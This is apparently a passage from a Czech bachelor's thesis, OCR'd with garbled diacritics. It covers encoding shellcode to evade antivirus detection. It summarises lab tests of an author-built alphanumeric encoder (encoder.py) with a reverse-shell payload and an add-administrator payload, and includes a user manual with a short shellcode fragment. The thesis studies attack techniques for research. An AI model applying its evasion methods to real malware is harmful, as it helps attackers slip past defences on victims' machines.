ktery spousti obyc¢ejnou kalkulacku na Windows XP. Po zakédovani vznikne
¢isté alfanumericky shellcode.

5.5.3 Otestovani shellcodu a vysledek

Nésledné uzivatel shellcode vygenerovany v predchozim kroku vlozi do své
pripravené zranitelné aplikace a otestuje, zda funguje.
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Cilem této préace bylo analyzovat stavajici metody zakédovani skodlivého kédu
a prevence jeho detekovani antivirovym programem. Timto se zabyvam v ka-
pitole Analyza. V podkapitolach [Shikata ga nail a [Alfanumericky enkodér] se
zabyvam témito dvéma algoritmy, na které jsem se méla zamérit. Dale roze-
birdm jiz existujici nastroje na zakédovani skodlivych koédia — Metasploit, Veil
a Shellter.

Dalsim bodem bylo navrhnout a implementovat aplikaci pro prikazovou
radku. Implementovala jsem aplikaci encoder.py, kterd zakédovava skodlivy
kéd. Aplikace je napsana v programovacim jazyce Python, umoznuje zada-
vat shellcode v ruznych formétech, stejné tak vypisuje zakédovany shellcode
v riiznych formatech — dle vybéru uzivatele. Implementace se zdaftila pro al-
fanumericky enkodér, pro jehoz implementaci jsem zvolila Weverovo kédovaci
schéma. Timto se zabyvam v kapitole Navrh a Realizace. Déle jsem chtéla
implementovat i metodu Shikata ga nai, kterd je rozebrana v kapitole Ana-
Iyza. Ta uz, ale implementovana neni, a to z toho divodu, ze jsem k této
metodé nalezla pouze jediny zdroj vyuzitelny pfi implementaci. Tim zdrojem
je verejné dostupny zdrojovy kod frameworku Metasploit. Bohuzel tento zdroj
neobsahuje hlubsi popis algoritmu a toho, jak funguje, pouze popis implemen-
tacnich detailt. Ostatni zdroje rozebiraji tuto metodu velice povrchné, velka
¢ast se také zabyva spise zpusoby, jak detekovat Skodlivy kéd, zakddovany
touto metodou, nez ze by resily do hloubky, jak funguje.

Nasledné se prace vénuje otestovani vysledné aplikace v laboratornim pro-
stfedi na zranitelném virtudlnim stroji. Pro ucely testovani byly zvoleny dva
skodlivé kédy — prvni z nich je reverse shell s meterpreterem a druhy z nich
vytvari administratorsky ucet. Tyto dva skodlivé kédy jsou testovany na zra-
nitelném virtudlnim stroji s Windows XP Service Pack 3. Prvni jmenovany
navic jesté vyuziva virtudlni stroj s Kali Linuxem. K otestovani jsem pak
zvolila antivirovy program Kaspersky Free ve verzi 18. Prvni kéd, ktery vyu-
ziva reverse shell, po zakdédovani nefungoval — nespustil se. OvSem ukazalo se,
ze pokud ho zkusim zakddovat referencnim alfanumerickym enkodérem, tak
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také nefunguje. Proto jsem vybrala ten druhy, ktery vytvari administratorsky
ucet. Test s timto skodlivym kédem dopadl dspésné, podarilo se zakddovat
kéd alfanumerickym enkodérem a ten néasledné spustit tak, ze doslo k vytvo-
feni nového administratorského i¢tu na zranitelném testovacim stroji. Tento
skodlivy kéd sice nebyl zachycen antivirovym programem, ale to nesouvisi s
tim, Ze byl zakdédovan, jelikoz ani nezakdédovany kéd nebyl zachycen antivi-
rovym programem. Tim spiS, Ze antivirové programy jsou na alfanumericky
enkodér pripraveny.

V rdmci této prace jsem se seznamila s metodami, které vyuzivaji tvirci
skodlivych koéda k uniku detekce antivirovymi programy. Zjistila jsem, ze
téchto metod existuje nepreberné mnozstvi. Déle jsem pochopila, jak fun-
guje zakdédovavani shellcodu a blize se seznamila predevsim s alfanumerickym
enkodérem, u néjz existuje vice zptisobt, jak ho implementovat.

Dalsi prace

Dalsim krokem muze byt implementace nékterych z dalsich enkodérii pro zaké-
dovani skodlivych kédu, které existuji. Pripadné také implementovat néjaky
novy, zatim neexistujici, enkodér. Vzhledem k nedostatku zdroji asi nemé
uplné smysl se pokouset o implementaci primo metody Shikata ga nai, ale
teoreticky by slo napriklad implementovat enkodér s podobnymi vlastnostmi
jako ma Shikata ga nai — kombinace polymorfismu a metamorfismu. Pro imple-
mentaci dalstho enkodéru by bylo tfeba pravdépodobné aplikaci jesté upravit,
aby byla vice univerzalni a slo si pomoci argumentti na piikazové rfadce vybirat
enkodér. Vzhledem k soucasnému stavu implementace by to ovsem nemél byt
vétsi problém. Kédy zakdédované moji aplikaci byly testovany na opera¢nim
systému Windows XP s vypnutym DEPem. Pro novéjsi opera¢ni systémy by
se muselo mimo jiné vyfesit, jak obejit zapnuty DEP. A pak také, jak ziskat
adresu lokace programu v paméti, kterou samo-modifikujici kédy vyuzivaji.
Protoze zpusob, ktery momentalné miij enkodér vyuziva, na novéjsich systé-
mech nefunguje.

objevené zranitelnosti v operac¢nich systémech a aplikacich, o kterych tvurci
antivira zatim nevédi, a tudiz je nedetekuji. Druhou cestou, pokud ttocnik ma
zajem, vyuzivat jiz existujici a dostupné skodlivé kody, je vymyslet stale nové,
idedlné zatim neexistujici zptisoby, kterymi tto¢nik upravi skodlivy kod. Jak
jiz bylo Te¢eno na zacatku prace, tohle je kolobéh, ve kterém proti sobé stoji
Utoénik a obrance a kazdy se snazi neustale vylepsovat to své — skodlivy kéd
nebo antivirovy program. Dle mého néazoru, jednim z problémi téchto samo-
modifikujicich kédu je to, ze ke svému spravnému fungovani potiebuji znat
adresu mista v paméti, kde se nachézeji. A zpusobu, jak tuto adresu ziskat
neni zase tolik, tudiz antivirové programy mohou naptiklad detekovat praveé
na zakladé toho.
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PRILOHA A

Seznam pouzitych zkratek

PE Portable Executable

ELF Executable and Linkable Format

EXE Executable

PDF Portable Document Format

ZIP format zkomprimovaného souboru, obsahuje slozky a soubory
RAR format zkomprimovaného souboru, vyvinuty Eugenem Roshalem

TGZ format zkomprimovaného souboru, vyuzivan predevsim na operac¢nim
systému linux

MD5 algoritmus, funkce kterd vytvari hashe

URL Uniform Resource Locator

XOR Exclusive or, logicka operace

HW Hardware

OS Operacni systém

ASCII American Standard Code for Information Interchange
USB Universal SErial Bus

MSF Metasploit Framework

PNG Portable Network Graphics

NSA National Security Agency

DoS Denial of Service

61



A. SEZNAM POUZITYCH ZKRATEK

ARM Advanced RISC Machine
FPU Floating Point Unit

DLL Dynamic-link librar

PHP Hypertext Preprocessor

PC Program Counter

SEH Structured Exception Handling

DEP Data Execution Prevention
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PRILOHA B
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B. OBRAZKY

’ Dec ‘ Hex ‘ Char H Dec ‘ Hex ‘ Char H Dec ‘ Hex ‘ Char H Dec ‘ Hex ‘ Char ‘

00 00 | NUL 32 20 Sp 64 40 Q 96 60 ¢
01 01 | SOH 33 21 ! 65 41 A 97 61 a
02 02 | STX 34 22 " 66 42 B 98 62 b
03 03 | ETX || 35 23 # 67 43 C 99 63 c
04 04 | EOT | 36 24 $ 68 44 D 100 | 64 d
05 05 | ENQ || 37 25 % 69 45 E 101 | 65 e
06 06 | ACK || 38 26 & 70 46 F 102 | 66 f
07 07 | BEL 39 27 ’ 71 47 G 103 | 67 g
08 08 BS 40 28 ( 72 48 H 104 | 68 h
09 09 HT 41 29 ) 73 49 I 105 | 69 i
10 | 0A LF 42 2A * 74 | 4A J 106 | 6A j
11 0B vT 43 2B + 75 4B K 107 | 6B k
12 0C FF 44 | 2C s 76 4C L 108 | 6C 1
13 | 0D CR 45 2D - 77 | 4D M 109 | 6D m
14 0E SO 46 2E . 78 4E N 110 | 6E n
15 OF SI 47 2F / 79 4F 0 111 | 6F o
16 10 | DLE 48 30 0 80 50 P 112 | 70 p
17 11 | DC1 49 31 1 81 51 Q 113 | 71 q
18 12 | DC2 50 32 2 82 52 R 114 | 72 r
19 13 | DC3 51 33 3 83 53 S 115 | 73 s
20 14 | DC4 52 34 4 84 54 T 116 | 74 t
21 15 | NAK || 53 35 5 85 95 U 117 | 75 u
22 16 | SYN 54 36 6 86 56 \ 118 | 76 v
23 17 | ETB 55 37 7 87 LY W 119 | 77 W
24 18 | CAN || 56 38 8 88 58 X 120 | 78 X
25 19 EM o7 39 9 89 99 Y 121 | 79 y
26 1A | SUB 58 3A : 90 5A Z 122 | 7TA z
27 1B | ESC 59 3B ; 91 5B [ 123 | 7B {
28 1C FS 60 3C < 92 5C \ 124 | 7C |
29 1D GS 61 3D = 93 5D ] 125 | 7D }
30 1E RS 62 3E > 94 5E - 126 | 7TE -
31 1F US 63 3F ? 95 oF _ 127 | 7F | DEL

Obrazek B.1: ASCII tabulka
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PRILOHA

Uzivatelsky manual aplikace

Aplikace je na CD ve slozce impl. Ke spravnému spusténi je tieba si nainsta-
lovat programovaci jazyk Python.

C.1 Instalace Pythonu 3.5 a vyssi

Dilezité je nainstalovat Python minimalné ve verzi 3.5. Moje aplikace neni
kompatibilni s Pythonem ve verzi 2.

C.1.1 Windows

Na operac¢ni systém Windows lze stdhnout instalacni soubor odtud [62] a poté
nainstalovat jako obvyklou aplikaci na Windows.

C.1.2 Linux

Na operacéni systém Linux lze obvykle stdhnout a nainstalovat Python z re-
pozitaft pomoci prikazu sudo apt-get install python3 apod. — lisi se dle
distribuce. Pfipadné lze stdhnou z vySe zminéné stranky [62].

C.2 Spusténi aplikace

Po spusténi ptikazové radky se aplikace spousti piikazem python3 encoder.py.
Aplikace lze spustit bud s argumentem -p, a pak zadévat ruzné prikazy
(shellcode, zakodovat, format).Daéle aplikace nabizi nasledujici argumenty:

e —f <vstupni soubor> — tento argument nelze kombinovat s ostatnimi.
Uzivatel zad4 nézev binarniho souboru, ktery obsahuje shellcode. Vystu-
pem aplikace je opét binarni soubor, se stejnym nazvem jako vstupni,
ovSem s priponou .zakodovane.
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C. UZIVATELSKY MANUAL APLIKACE

Obrazek C.1: Ukéazkové pouziti aplikace

e -i <vstupni format> — pokud uzivatel ma v imyslu zadat shellcode
v prikazové Tadce pouzije tento argument dohromady s nésledujicim
argumentem -o. Na vybér je z nékolika vstupnich formati:

— n — format: \xda\xde\xd9\x74\x24\x£4\xb8\x22\xd2\x27\x7a
— w — forméat: daded97424f4b822d2277a
— s — format: da de d9 74 24 f4 b8 22 d2 27 Ta

e -0 <vystupni format> — vystupni formaty zahrnuji tii pfedchoz{ a na-
vic pridavaji jesté nasledujici dva:

— ¢ — vystup ve formatu jazyka C.

— p — vystup ve formatu jazyka python.

e -d — tento argument smaze prebyteéné uvozovky ze shellcodu.

C.3 Ukazkové pouziti

Na obrazku Ize vidét ukazkové pouziti aplikace se shellcodem, ktery na
Windows XP spousti kalkulacku. Aplikace je spusténa pomoci piikazu python3
encoder.py -i n -o n a poté je ji zadan shellcode, ktery aplikace zakoduje
a vysledek vypise na prikazovou radku.
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PRILOHA D

Obsah prilozeného CD

readme.tXt . oottt e stru¢ny popis obsahu CD.

src

timpl ................................... zdrojové kbédy implementace
thesis .ovvvvviiiiinnnnnn. zdrojova forma prace ve formatu KITEX

L= v PP text prace

| thesis pAf L text prace ve formatu PDF
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